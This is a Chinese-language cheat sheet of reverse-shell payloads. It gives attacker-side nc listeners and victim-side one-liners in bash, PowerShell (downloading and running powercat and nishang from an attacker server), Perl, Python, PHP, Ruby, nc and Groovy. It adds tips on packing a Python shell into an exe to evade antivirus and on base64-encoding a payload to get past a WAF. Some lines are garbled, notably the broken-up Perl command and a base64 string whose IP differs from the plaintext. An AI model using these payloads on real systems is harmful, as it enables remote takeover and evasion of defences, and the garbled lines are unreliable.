1.nc反弹shell
远程服务器 nc 监听命令
nc -vlnp 8080
受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不通过的环境,选择合适的命令。
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2.powershell反弹cmd
powercat是netcat的powershell版本
下载地址 https://github.com/besimorhino/powercat
powercat是netcat的powershell版本
所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。
http://192.168.0.195/powercat.ps1
powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.0.195/powercat.ps1’);
powercat -c 192.168.0.195 -p 8888 -e cmd
3.nishang反弹shell
Reverse TCP shell
在自己的服务上搭建下载
http://192.168.0.195/nishang/Shells/Invoke- PowerShellTcp.ps1
目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke- PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.195 -port 6666
Reverse UDP shell
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke- PowerShellUdp.ps1'); Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.195 -port 53
perl -e ‘use
Socket;
i
=
"
10.0.0.1
"
;
i="10.0.0.1";
i="10.0.0.1";p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(
S,sockaddr_in(
p
,
i
n
e
t
a
t
o
n
(
p,inet_aton(
p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");ex
ec("/bin/sh -i");};’
4..python反弹cmd shell
使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可
如果遇到 杀软 可以使用 生成exe的版本 可以很好的逃逸杀软
目标上没有安装python 可以使用命令打包成exe在上传执行
打包:
pyinstaller -Fw pycat.py
攻击者监听
nc -lvp 6666
被控端 执行
/c C:\Windows\debug\WIA\pycat.exe --host 192.168.0.195 --port 6666
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1
“,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([”/bin/sh”,"-i"]);’
5.php
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i <&3 >&3 2>&3");’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d
2>&%d",f,f,f)’
6.nc
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line
2>&5 >&5; done”] as String[])
p.waitFor()s
7.如果有 waf ,base64 加密后
如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没有触发拦截规则,再利用
shell 命令再进行解码。
bash -i >& /dev/tcp/192.168.0.103/8080 0>&1
base64 编码后 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==
受害者执行
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ==”|base64 -d|bash
远程服务器监听